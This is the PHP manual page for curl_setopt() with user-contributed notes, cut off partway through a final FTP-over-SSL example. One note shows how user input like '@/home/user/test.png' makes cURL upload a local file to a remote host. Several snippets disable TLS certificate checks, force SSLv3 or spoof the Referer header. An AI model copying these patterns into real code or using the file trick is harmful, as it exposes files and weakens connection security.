CURLOPT_FILE | The file that the transfer should be written to. The default is STDOUT (the browser window).
CURLOPT_INFILE | The file that the transfer should be read from when uploading.
CURLOPT_STDERR | An alternative location to output errors to instead of STDERR.
CURLOPT_WRITEHEADER | The file that the header part of the transfer is written to.

value should be a string that is the name of a valid callback function for the following values of the option parameter:

Option | Set value to
CURLOPT_HEADERFUNCTION | The name of a callback function where the callback function takes two parameters. The first is the cURL resource, the second is a string with the header data to be written. The header data must be written when using this callback function. Return the number of bytes written.
CURLOPT_PASSWDFUNCTION | The name of a callback function where the callback function takes three parameters. The first is the cURL resource, the second is a string containing a password prompt, and the third is the maximum password length. Return the string containing the password.
CURLOPT_PROGRESSFUNCTION | The name of a callback function where the callback function takes three parameters. The first is the cURL resource, the second is a file-descriptor resource, and the third is length. Return the string containing the data.
CURLOPT_READFUNCTION | The name of a callback function where the callback function takes three parameters. The first is the cURL resource, the second is a stream resource provided to cURL through the option CURLOPT_INFILE, and the third is the maximum amount of data to be read. The callback function must return a string with a length equal or smaller than the amount of data requested, typically by reading it from the passed stream resource. It should return an empty string to signal EOF.
CURLOPT_WRITEFUNCTION | The name of a callback function where the callback function takes two parameters. The first is the cURL resource, and the second is a string with the data to be written. The data must be saved by using this callback function. It must return the exact number of bytes written or the transfer will be aborted with an error.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.2.10 | Introduced CURLOPT_PROTOCOLS, and CURLOPT_REDIR_PROTOCOLS.
5.1.0 | Introduced CURLOPT_AUTOREFERER, CURLOPT_BINARYTRANSFER, CURLOPT_FTPSSLAUTH, CURLOPT_PROXYAUTH, and CURLOPT_TIMECONDITION.
5.0.0 | Introduced CURLOPT_FTP_USE_EPRT, CURLOPT_NOSIGNAL, CURLOPT_UNRESTRICTED_AUTH, CURLOPT_BUFFERSIZE, CURLOPT_HTTPAUTH, CURLOPT_PROXYPORT, CURLOPT_PROXYTYPE, CURLOPT_SSLCERTTYPE, and CURLOPT_HTTP200ALIASES.

Examples

Example #1 Initializing a new cURL session and fetching a web page

<?php
// create a new cURL resource
$ch = curl_init();

// set URL and other appropriate options
curl_setopt($ch, CURLOPT_URL, "http://www.example.com/");
curl_setopt($ch, CURLOPT_HEADER, false);

// grab URL and pass it to the browser
curl_exec($ch);

// close cURL resource, and free up system resources
curl_close($ch);
?>

Example #2 Uploading file

<?php

/* http://localhost/upload.php:
print_r($_POST);
print_r($_FILES);
*/

$ch = curl_init();

$data = array('name' => 'Foo', 'file' => '@/home/user/test.png');

curl_setopt($ch, CURLOPT_URL, 'http://localhost/upload.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

curl_exec($ch);
?>

The above example will output:

Array
(
    [name] => Foo
)
Array
(
    [file] => Array
        (
            [name] => test.png
            [type] => image/png
            [tmp_name] => /tmp/phpcpjNeQ
            [error] => 0
            [size] => 279
        )

)

Notes

Note:

Passing an array to CURLOPT_POSTFIELDS will encode the data as multipart/form-data, while passing a URL-encoded string will encode the data as application/x-www-form-urlencoded.

See Also

  • curl_setopt_array() - Set multiple options for a cURL transfer

User Contributed Notes

Adam Monsen 10-Jan-2012 04:36
CURLOPT_POST must be left unset if you want the Content-Type header set to "multipart/form-data" (e.g., when CURLOPT_POSTFIELDS is an array). If you set CURLOPT_POSTFIELDS to an array and have CURLOPT_POST set to TRUE, Content-Length will be -1 and most sane servers will reject the request. If you set CURLOPT_POSTFIELDS to an array and have CURLOPT_POST set to FALSE, cURL will send a GET request.
chsa at ten dot ch 16-Dec-2011 01:39
Sending a post file upload across a squid proxy, the request was rejected by the proxy. In the error page returned it provided among other possible causes:"Expect:" feature is being asked from a HTTP/one.zero.
Solution: Add the option <?php curl_setopt($cl,CURLOPT_HTTPHEADER,array("Expect:")); ?>. This will remove the expect http header.
Steve Kamerman 24-Jun-2011 11:47
If you want cURL to timeout in less than one second, you can use CURLOPT_TIMEOUT_MS, although there is a bug/"feature"  on "Unix-like systems" that causes libcurl to timeout immediately if the value is < 1000 ms with the error "cURL Error (28): Timeout was reached".  The explanation for this behavior is:

"If libcurl is built to use the standard system name resolver, that portion of the transfer will still use full-second resolution for timeouts with a minimum timeout allowed of one second."

What this means to PHP developers is "You can use this function without testing it first, because you can't tell if libcurl is using the standard system name resolver (but you can be pretty sure it is)"

The problem is that on (Li|U)nix, when libcurl uses the standard name resolver, a SIGALRM is raised during name resolution which libcurl thinks is the timeout alarm.

The solution is to disable signals using CURLOPT_NOSIGNAL.  Here's an example script that requests itself causing a 10-second delay so you can test timeouts:

<?php
if (!isset($_GET['foo'])) {
        // Client
        $ch = curl_init('http://localhost/test/test_timeout.php?foo=bar');
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_NOSIGNAL, 1);
        curl_setopt($ch, CURLOPT_TIMEOUT_MS, 200);
        $data = curl_exec($ch);
        $curl_errno = curl_errno($ch);
        $curl_error = curl_error($ch);
        curl_close($ch);

        if ($curl_errno > 0) {
                echo "cURL Error ($curl_errno): $curl_error\n";
        } else {
                echo "Data received: $data\n";
        }
} else {
        // Server
        sleep(10);
        echo "Done.";
}
?>
m dot ghadam at gmail dot com 13-Jun-2011 02:02
When you set ($ch, curlopt_post, 1) , after you have posted your data with curl_exec , you need to set ($ch, curlopt_post, 0), Otherwise all your subsequent requests seems as a post with no postdata and some reverse proxy servers send 500 or 403 error for these case ( access denied or forbidden )!
PHP at RHaworth dot net 02-Apr-2011 02:31
When CURLOPT_FOLLOWLOCATION and CURLOPT_HEADER are both true and redirect/s have happened then the header returned by curl_exec() will contain all the headers in the redirect chain in the order they were encountered.
support at lostair dot com 07-Mar-2011 03:26
Force Curl Request To Go To A Particular IP Address

Yes, there is a method of passing an IP address to curl.  Excellent for services with multiple IP addresses and also to take DNS out of the equation for testing/debugging.

<?php
    function fetch_page($url, $host_ip = NULL)
    {

      $ch = curl_init();

      if (!is_null($host_ip))
      {
        $urldata = parse_url($url);

        //  Ensure we have the query too, if there is any...
        if (!empty($urldata['query']))
          $urldata['path'] .= "?".$urldata['query'];

        //  Specify the host (name) we want to fetch...
        $headers = array("Host: ".$urldata['host']);
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

        //  create the connecting url (with the hostname replaced by IP)
        $url = $urldata['scheme']."://".$host_ip.$urldata['path'];
      }

      curl_setopt($ch,  CURLOPT_URL, $url);
      curl_setopt ($ch, CURLOPT_HEADER, 0);
      curl_setopt($ch,  CURLOPT_RETURNTRANSFER, true);

      $result = curl_exec ($ch);
      curl_close ($ch);

      return $result;
    }
?>
S\ 18-Feb-2011 11:04
When using CURLOPT_POSTFIELDS with an array as parameter, you have to pay high attention to user input. Unvalidated user input will lead to serious security issues.

<?php

/**
 * test.php:
 */
$ch = curl_init('http://example.com');

curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, array(
    'foo' => $_GET['bar']
));

curl_exec($ch);

?>

Requesting "test.php?bar=@/home/user/test.png" will send "test.png" to example.com.
Make sure you remove the leading "@" from user input.
anon@mouse dot com 04-Feb-2011 10:11
If your POST data seems to be disappearing (POST data empty, request is being handled by the server as a GET), try rearranging the order of CURLOPT_POSTFIELDS setting with CURLOPT_NOBODY. CURLOPT_POSTFIELDS has to come AFTER CURLOPT_NOBODY setting because if it comes after it wipes out the Content-Type header that tells your URL target that the request is a POST not a GET.

Not sure if this is expected behavior but it certainly isn't documented (except on Stackoverflow.com, which is supremely unhelpful - BTW, guys over on stack overflow... once you've figured out a PHP problem, posting the solution here would save everyone extra search time).
W at RHaworth dot net 04-Feb-2011 04:22
I had problems with the Wikimedia software and sending a POST request where the data was more than 1024 bytes long. I traced this to cURL adding: Expect: 100-continue to the headers.

I added curl_setopt($ch,CURLOPT_HTTPHEADER,array("Expect:")); and that suppresses the Expect line.
zsalab 27-Jan-2011 05:12
Handling redirections with curl if safe_mode or open_basedir is enabled. The function working transparent, no problem with header and returntransfer options. You can handle the max redirection with the optional second argument (the function is set the variable to zero if max redirection exceeded).
Second parameter values:
- maxredirect is null or not set: redirect maximum five time, after raise PHP warning
- maxredirect is greather then zero: no raiser error, but parameter variable set to zero
- maxredirect is less or equal zero: no follow redirections

<?php
function curl_exec_follow(/*resource*/ $ch, /*int*/ &$maxredirect = null) {
    $mr = $maxredirect === null ? 5 : intval($maxredirect);
    if (ini_get('open_basedir') == '' && ini_get('safe_mode' == 'Off')) {
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, $mr > 0);
        curl_setopt($ch, CURLOPT_MAXREDIRS, $mr);
    } else {
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
        if ($mr > 0) {
            $newurl = curl_getinfo($ch, CURLINFO_EFFECTIVE_URL);

            $rch = curl_copy_handle($ch);
            curl_setopt($rch, CURLOPT_HEADER, true);
            curl_setopt($rch, CURLOPT_NOBODY, true);
            curl_setopt($rch, CURLOPT_FORBID_REUSE, false);
            curl_setopt($rch, CURLOPT_RETURNTRANSFER, true);
            do {
                curl_setopt($rch, CURLOPT_URL, $newurl);
                $header = curl_exec($rch);
                if (curl_errno($rch)) {
                    $code = 0;
                } else {
                    $code = curl_getinfo($rch, CURLINFO_HTTP_CODE);
                    if ($code == 301 || $code == 302) {
                        preg_match('/Location:(.*?)\n/', $header, $matches);
                        $newurl = trim(array_pop($matches));
                    } else {
                        $code = 0;
                    }
                }
            } while ($code && --$mr);
            curl_close($rch);
            if (!$mr) {
                if ($maxredirect === null) {
                    trigger_error('Too many redirects. When following redirects, libcurl hit the maximum amount.', E_USER_WARNING);
                } else {
                    $maxredirect = 0;
                }
                return false;
            }
            curl_setopt($ch, CURLOPT_URL, $newurl);
        }
    }
    return curl_exec($ch);
}
?>
gskluzacek at gmail dot com 26-Jan-2011 01:42
FYI... unless you specifically set the user agent, no user agent will be sent in your request as there is no default value like some of the other options.

As others have said, not sending a user agent may cause you to not  get the results that you expected, e.g., 0 byte length content, different content, etc.
john dot david dot steele at gmail dot com 03-Dec-2010 01:03
A note on the way Curl posts files...

<?php
  curl_setopt($ch, CURLOPT_POSTFIELDS, array('file' => '@/path/to/file.ext');
?>

will post the FULL PATH of the file in the filename field:

Content-Disposition: form-data; name="file"; filename="/path/to/file.ext"

Whereas typical browser behavior only sends the filename:

Content-Disposition: form-data; name="file"; filename="file.ext"

Workaround:
<?php
  curl_setopt($ch, CURLOPT_POSTFIELDS, array('file' => '@file.ext');
  $cwd = getcwd();
  chdir('/path/to/');
  $receivedData = curl_exec($ch);
  chdir($cwd);
?>
scy-phpmanual at scytale dot name 29-Nov-2010 04:01
In order to reset CURLOPT_HTTPHEADER, set it to array(). The cURL C API says you should set it to NULL, but that doesn’t work in the PHP wrapper.
prohfesor at gmail dot com 02-Nov-2010 01:30
This function helps to parse netscape cookie file, generated by cURL into cookie array:

<?php
  function _curl_parse_cookiefile($file) {
    $aCookies = array();
    $aLines = file($file);
    foreach($aLines as $line){
      if('#'==$line{0})
        continue;
      $arr = explode("\t", $line);
      if(isset($arr[5]) && isset($arr[6]))
        $aCookies[$arr[5]] = $arr[6];
    }

    return $aCookies;
  }
?>
kavih7 at yahoo dot com 23-Sep-2010 08:59
When POSTing with cURL, my POSTs were magically being converted to GETs and I debugged it until finding the issue. I was setting the CURLOPT_MUTE option. Not sure why this conflicts, since the documentation doesn't specify as such. Anyways, if your $_POST is empty, make sure you aren't setting CURLOPT_MUTE.

Cheers!
curlysue 19-Aug-2010 02:34
If you've got problems with connecting througth a proxy using php/apache/xampp. So if you get no result string from the exec function, try enabling the following options in apache.

...\xampp\apache\conf
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so

cURL seems to neet this modules.
daniel at blacklotus dot no 15-Aug-2010 05:33
Sime sites may protect themselves from remote logins by checking which site you came from.

Then you might want to use CURLOPT_REFERER.

<?php

// $url = page to POST data
// $ref_url = tell the server which page you came from (spoofing)
// $login = true will make a clean cookie-file.
// $proxy = proxy data
// $proxystatus = do you use a proxy ? true/false

function
curl_grab_page($url,$ref_url,$data,$login,$proxy,$proxystatus){
    if($login == 'true') {
        $fp = fopen("cookie.txt", "w");
        fclose($fp);
    }
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_COOKIEJAR, "cookie.txt");
    curl_setopt($ch, CURLOPT_COOKIEFILE, "cookie.txt");
    curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
    curl_setopt($ch, CURLOPT_TIMEOUT, 40);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
    if ($proxystatus == 'true') {
        curl_setopt($ch, CURLOPT_HTTPPROXYTUNNEL, TRUE);
        curl_setopt($ch, CURLOPT_PROXY, $proxy);
    }
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);

    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_REFERER, $ref_url);

    curl_setopt($ch, CURLOPT_HEADER, TRUE);
    curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
    curl_setopt($ch, CURLOPT_POST, TRUE);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
    ob_start();
    return curl_exec ($ch); // execute the curl command
    ob_end_clean();
    curl_close ($ch);
    unset($ch);
}

echo curl_grab_page("https://www.example.net/login.php", "https://www.example.net/", "username=foo&password=bar", "true",  "null", "false");

?>
sam at def dot reyssi dot net 28-Jul-2010 03:43
Be careful when setting the CURLOPT_POSTFIELDS setting using an array. The array used to set the POST fields must only contain scalar values. Multidimentional arrays or objects lacking a __toString implementation will cause Curl to error.

If there is a need to send non-scalar values using a POST request, consider serializing them before transmission.

<?php
$ch = curl_init('http://host.example.com');

// Data to post
$multiDimensional = array(
   'name' = 'foo',
   'data' = array(1,2,3,4),
   'value' = 'bar'
);

// Will error
curl_setopt($ch, CURLOPT_POSTFIELDS, $multiDimensional);

// Data to post
$postData = array(
  'name' = 'foo',
  'data' = serialize(array(1,2,3,4)),
  'value' = 'bar'
);

// Will not error
curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
?>
joeterranova at gmail dot com 26-Jul-2010 12:57
It appears that setting CURLOPT_FILE before setting CURLOPT_RETURNTRANSFER doesn't work, presumably because CURLOPT_FILE depends on CURLOPT_RETURNTRANSFER being set.

So do this:

<?php
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FILE, $fp);
?>

not this:

<?php
curl_setopt($ch, CURLOPT_FILE, $fp);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
?>
patryk at do dot not dot spam dot com 05-Jul-2010 05:33
CURLOPT_HTTPPROXYTUNNEL means curl will use CONNECT method of the HTTP protocol to make a tunnel through a proxy, which is most likely not the one you want to do.
JScott jscott401 at gmail dot com 18-Jun-2010 07:29
Some additional notes for curlopt_writefunction. I struggled with this at first because it really isn't documented very well.

When you write a callback function and use it with curlopt_writefunction it will be called MULTIPLE times. Your function MUST return the ammount of data written to it each time. It is very picky about this. Here is a snippet from my code that may help you

<?php
curl_setopt($this->curl_handle, CURLOPT_WRITEFUNCTION, array($this, "receiveResponse"));

// later on in the class I wrote my receive Response method

private function receiveResponse($curlHandle,$xmldata)
                {
                        $this->responseString = $xmldata;
                        $this->responseXML .=  $this->responseString;
                        $this->length = strlen($xmldata);
                        $this->size += $this->length;
                        return $this->length;

                }
?>

Now I did this for a class. If you aren't doing OOP then you will obviously need to modify this for your own use.

CURL calls your script MULTIPLE times because the data will not always be sent all at once. Were talking internet here so its broken up into packets. You need to take your data and concatenate it all together until it is all written. I was about to pull my damn hair out because I would get broken chunks of XML back from the server and at random lengths. I finally figured out what was going on. Hope this helps
shailesh4all at gmail dot com 29-May-2010 03:42
Hi,
Anyone who is interested in submitting their information by post to HTTPS site (e.g. payment gateway) where https page needs basic authentication before submitting the information. below code will be helpful.

<?php
$submit_url = "https://sitename/process.php";

$curl = curl_init();

curl_setopt($curl, CURLOPT_HTTPAUTH, CURLAUTH_BASIC ) ;
curl_setopt($curl, CURLOPT_USERPWD, "username:password");
curl_setopt($curl, CURLOPT_SSLVERSION,3);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 2);
curl_setopt($curl, CURLOPT_HEADER, true);
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_POSTFIELDS, $params );
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
curl_setopt($curl, CURLOPT_URL, $submit_url);

$data = split("text/html", curl_exec($curl) );
$temp = split("\r\n", $data[1]) ;

$result = unserialize( $temp[2] ) ;

print_r($result);
curl_close($curl);
?>
obones_remove_me at free dot fr 27-Apr-2010 03:27
For those of you wondering how to specify the content-type for a file uploaded via curl, the syntax is as follows:

<?php

$data = array('file' => '@/home/user/test.png;type=image/png');

?>

Simply adding a semicolon with the type= at the end.
Note that this has been reported not to work in all versions of PHP and I have done the following tests:

5.2.6 (libcurl 7.18.2) : Does not work
5.2.13 (libcurl 7.20.0) : Works just fine

So it might be worth updating your installation of PHP and/or libcurl if you want to be able to use this syntax
sjungwirth at google mail dot com 22-Apr-2010 03:11
I couldn't find a way to force a curl request to go to a particular IP address, but you can do it with fsockopen:
<?php
    $ip = '123.45.67.89';
    $fp = fsockopen($ip, 80, $errno, $errstr, 5);
    $result = '';
    if (!$fp) {
        echo "$errstr ($errno)<br />\n";
    } else {
        $out = "GET /path/to/the/file.ext HTTP/1.1\r\n";
        $out .= "Host: www.exampl.com\r\n";
        $out .= "Connection: Close\r\n\r\n";
        fwrite($fp, $out);
        while (!feof($fp)) {
            $result .= fgets($fp, 128);
        }
        fclose($fp);
    }
?>
I needed it to test the response from a set of servers behind a load balancer.
clint at fewbar dot com 16-Apr-2010 02:56
If you have turned on conditional gets on a curl handle, and then for a subsequent request, you don't have a good setting for CURLOPT_TIMEVALUE , you can disable If-Modified-Since checking with:

<?php

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $foo);
curl_setopt($ch, CURLOPT_TIMEVALUE, filemtime($foo_path));
curl_setopt($ch, CURLOPT_TIMECONDITION, CURLOPT_TIMECOND_IFMODIFIEDSINCE);
curl_exec($ch);
// Reuse same curl handle
curl_setopt($ch, CURLOPT_URL, $bar);
curl_setopt($ch, CURLOPT_TIMEVALUE, null); // don't know mtime
curl_setopt($ch, CURLOPT_TIMECONDITION, 0); // set it to 0, turns it off
curl_exec($ch);

?>
julien veneziano 08-Apr-2010 03:56
If you need to send deta in a DELETE request, use:

<?php
$request_body = 'some data';
$ch = curl_init('http://www.example.com');
        curl_setopt($ch, CURLOPT_POSTFIELDS, $request_body);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "DELETE");
        $response = curl_exec($ch);
var_dump($response);
?>
anderseta at gmail dot com 22-Mar-2010 02:48
If you wish to find the size of the file you are streaming and use it as your header this is how:

<?php

function write_function($curl_resource, $string)
{
    if(curl_getinfo($curl_resource, CURLINFO_SIZE_DOWNLOAD) <= 2000)
    {
        header('Expires: 0');
        header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
        header('Pragma: public');
        header('Content-Description: File Transfer');
        header("Content-Transfer-Encoding: binary");
        header("Content-Type: ".curl_getinfo($curl_resource, CURLINFO_CONTENT_TYPE)."");
        header("Content-Length: ".curl_getinfo($curl_resource, CURLINFO_CONTENT_LENGTH_DOWNLOAD)."");
    }

    print $string;

    return mb_strlen($string, '8bit');
}

1440 is the the default number of bytes curl will call the write function (BUFFERSIZE does not affect this, i actually think you can not change this value), so it means the headers are going to be set only one time.

Writefunction must return the exact number of bytes of the string, so you can return a value with mb_strlen.

?>
starosielec at googlemail dot com 19-Feb-2010 03:07
You can use also use object methods as callback functions. This is usefull if your curl ressource is part of an object handling transfers.
Instead of curl_setopt($curl, CURLOPT_WRITEFUNCTION, "curl_handler_recv") you can use array($object, "method") as value for callback options.

For example:

<?php
class downloader {
    private $curl;

    function __construct() {
        $this->curl = curl_init();
        curl_setopt($this->curl, CURLOPT_WRITEFUNCTION, array($this, "curl_handler_recv"));
    }

     function curl_handler_recv($res, $data) {
      //...
     }
   //...
}
?>
Ed Cradock 05-Feb-2010 10:47
PUT requests are very simple, just make sure to specify a content-length header and set post fields as a string.

Example:

<?php
function doPut($url, $fields)
{
   $fields = (is_array($fields)) ? http_build_query($fields) : $fields;

   if($ch = curl_init($url))
   {
      curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'PUT');
      curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
      curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Length: ' . strlen($fields)));
      curl_setopt($ch, CURLOPT_POSTFIELDS, $fields);
      curl_exec($ch);

      $status = curl_getinfo($ch, CURLINFO_HTTP_CODE);

      curl_close($ch);

      return (int) $status;
   }
   else
   {
      return false;
   }
}

if(doPut('http://example.com/api/a/b/c', array('foo' => 'bar')) == 200)
   // do something
else
   // do something else.
?>

You can grab the request data on the other side with:

<?php
if($_SERVER['REQUEST_METHOD'] == 'PUT')
{
   parse_str(file_get_contents('php://input'), $requestData);

   // Array ( [foo] => bar )
   print_r($requestData);

   // Do something with data...
}
?>

DELETE  can be done in exactly the same way.
Pawel Antczak 09-Dec-2009 12:07
Hello.
During problems with "CURLOPT_FOLLOWLOCATION cannot be activated when in safe_mode or an open_basedir is set"
I was looking for solution.
I've found few methods on this page, but none of them was good enough, so I made one.
<?php
function curl_redirect_exec($ch, &$redirects, $curlopt_header = false) {
    curl_setopt($ch, CURLOPT_HEADER, true);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $data = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    if ($http_code == 301 || $http_code == 302) {
        list($header) = explode("\r\n\r\n", $data, 2);
        $matches = array();
        preg_match('/(Location:|URI:)(.*?)\n/', $header, $matches);
        $url = trim(array_pop($matches));
        $url_parsed = parse_url($url);
        if (isset($url_parsed)) {
            curl_setopt($ch, CURLOPT_URL, $url);
            $redirects++;
            return curl_redirect_exec($ch, $redirects);
        }
    }
    if ($curlopt_header)
        return $data;
    else {
        list(,$body) = explode("\r\n\r\n", $data, 2);
        return $body;
    }
}
?>

Main issue in existing functions was lack of information, how many redirects was done.
This one will count it.
First parameter as usual.
Second should be already initialized integer, it will be incremented by number of done redirects.
You can set CURLOPT_HEADER if You need it.
php dot net at NO dot sgerrand dot SPAM dot com 02-Nov-2009 11:01
If you change the post array to a string, PHP creates the post data successfully.

As a quick and dirty example of implementing this fix:

<?php

$ch = curl_init;
$url = 'http://www.example.com';

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);

foreach ($postData as $var) if (strpos($var, '@') === 0) {
    $postAsString = true;
}

if ($postAsString === true) {
    $str = '';

    foreach ($postData as $key => $val) {
        $str .= '&' . $key . '=' . $val;
    }

    $postData = substr_replace($str, '', 0, 1);
}

curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);

curl_exec($ch);

?>
Chris at PureFormSolutions dot com 22-Sep-2009 03:54
I've found that setting CURLOPT_HTTPHEADER more than once will clear out any headers you've set previously with CURLOPT_HTTPHEADER.

Consider the following:
<?php
    # ...

    curl_setopt($cURL,CURLOPT_HTTPHEADER,array (
        "Content-Type: text/xml; charset=utf-8",
        "Expect: 100-continue"
    ));

    # ... do some other stuff ...

    curl_setopt($cURL,CURLOPT_HTTPHEADER,array (
        "Accept: application/json"
    ));

    # ...
?>

Both the Content-Type and Expect I set will not be in the outgoing headers, but Accept will.
Stan van de Burgt 19-Sep-2009 02:41
If you get a "failed creating formpost data" upon curl_exec() when POSTing a form, check if one of the field values starts with the @ character.

Took me an hour or so to find out as I wanted to post a @reply tweet to twitter which typically start with @screenname.
Tyranoweb 04-Sep-2009 02:42
There is a function to send POST data in page with five parameters :

$post must be an array
$page is the page where POST datas will be send.
$n must be true to continue if they are php redirection (Location: )
$session must be define true if you want to use cookies
$referer must be a link to get a wrong referer or only to have a referer.

<?php
function curl_data_post($post, $page, $n, $session, $referer)
    {
        if(!is_array($post))
        {
         return false;
        }

        $DATA_POST = curl_init();
        curl_setopt($DATA_POST, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($DATA_POST, CURLOPT_URL, $page);
        curl_setopt($DATA_POST, CURLOPT_POST, true);
        if($n)
        {
         curl_setopt($DATA_POST, CURLOPT_FOLLOWLOCATION, true);
        }
        if($session)
        {
         curl_setopt($DATA_POST, CURLOPT_COOKIEFILE, 'cookiefile.txt');
         curl_setopt($DATA_POST, CURLOPT_COOKIEJAR, 'cookiefile.txt');
        }

        if($referer)
        {
         curl_setopt($DATA_POST, CURLOPT_REFERER, $referer);
        }

        curl_setopt($DATA_POST, CURLOPT_POSTFIELDS, $post);
        $data = curl_exec($DATA_POST);
        if($data == false)
        {
         echo'Warning : ' . curl_error($DATA_POST);
         curl_close($DATA_POST);
         return false;
        }
        else
        {
         curl_close($DATA_POST);
         return $data;
        }
    }
?>
rob 23-Aug-2009 09:07
Whats not mentioned in the documentation is that you have to set CURLOPT_COOKIEJAR to a file for the CURL handle to actually use cookies, if it is not set then cookies will not be parsed.
Sylvain R 28-Jul-2009 03:05
When you are using CURLOPT_FILE to download directly into a file you must close the file handler after the curl_close() otherwise the file will be incomplete and you will not be able to use it until the end of the execution of the php process.

<?php

$fh = fopen('/tmp/foo', 'w');
$ch = curl_init('http://example.com/foo');
curl_setopt($ch, CURLOPT_FILE, $fh);
curl_exec($ch);
curl_close($ch);

# at this point your file is not complete and corrupted

fclose($fh);

# now you can use your file;

read_file('/tmp/foo');

?>
mikeseth at gmail dot com 15-Jul-2009 02:32
When using CURLOPT_FILE, pass it the file handle that is open for write only (eg fopen('blahblah', 'w+')). If you also open the file for reading (eg fopen('blahblah', 'rw')), curl will fail with error 23.
Victor Jerlin 03-Jul-2009 04:12
Seems like some options not mentioned on this page, but listed on http://curl.haxx.se/libcurl/c/curl_easy_setopt.html is actually supported.

I was happy to see that I could actually use CURLOPT_FTP_CREATE_MISSING_DIRS even from PHP.
xektrum at gmail dot com 02-Jul-2009 09:14
As of php 5.3 CURLOPT_PROGRESSFUNCTION its supported here's how:

<?php

function callback($download_size, $downloaded, $upload_size, $uploaded)
{
    // do your progress stuff here
}

$ch = curl_init('http://www.example.com');

// This is required to curl give us some progress
// if this is not set to false the progress function never
// gets called
curl_setopt($ch, CURLOPT_NOPROGRESS, false);

// Set up the callback
curl_setopt($ch, CURLOPT_PROGRESSFUNCTION, 'callback');

// Big buffer less progress info/callbacks
// Small buffer more progress info/callbacks
curl_setopt($ch, CURLOPT_BUFFERSIZE, 128);

$data = curl_exec($ch);

?>

Hope this help.
Andrew 14-Jun-2009 04:56
I noticed that if you want to get current cookie file after curl_exec() - you need to close current curl handle (like it said in manual), but if you want cookies to be dumped to file after any curl_exec (without curl_close) you can:

<?php
#call it normally
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_COOKIEFILE, "cookiefile");
curl_setopt($ch, CURLOPT_COOKIEJAR, "cookiefile");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_URL, 'http://www.example.com/');
$result1 = curl_exec($ch);

#and then  make a temp copy
$ch_temp=curl_copy_handle(ch);
curl_close($ch);
$ch=$ch_temp;
?>

Only this way, if you close $ch_temp - cookies wont be dumped.
ericbianchetti at gmail dot com 04-Jun-2009 03:06
if you need to send a SOAP string that is the CURL you must use :

<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, XML_POST_URL);
curl_setopt ($ch, CURLOPT_HTTPHEADER, array('SOAPAction: ""'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_POSTFIELDS, XML_PAYLOAD);
curl_setopt($ch, CURLOPT_HEADER, 0);

$output = curl_exec($ch);
?>

Note : Having based my snipet on Chemo demonstration (oscommerce user know who he is), XML_POST_URL and XML_PAYLOAD where defined as constant with define().

The point is : at the opposite of .xml , SOAP must send the header 'SOAPAction: ""' that can be a valid URI, an empty string (that is here) or nothing ('SOAPAction: '). The later case baing not accepted by all server, the second one indicating the target is the URI used to post the SOAP.
http://www.w3.org/TR/2000/NOTE-SOAP-20000508/#_Toc478383528
franciscocha at gmail dot com 19-May-2009 03:11
Example how to connect to FTPES (FTP explicit SSL). This script will connect to any FTPES server and out put the list of directories.

<?php
    $username = 'username';
    $password = 'password';
    $url = 'example.com';
    $ftp_server = "ftp://" . $username . ":" . $password . "@" . $url;

    echo "Starting CURL.\n";
    $ch = curl_init();
    echo "Set CURL URL.\n";

    //curl FTP
    curl_setopt($ch, CURLOPT_URL, $ftp_server);

    //For Debugging
    //curl_setopt($ch, CURLOPT_VERBOSE, TRUE);

    //SSL Settings
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
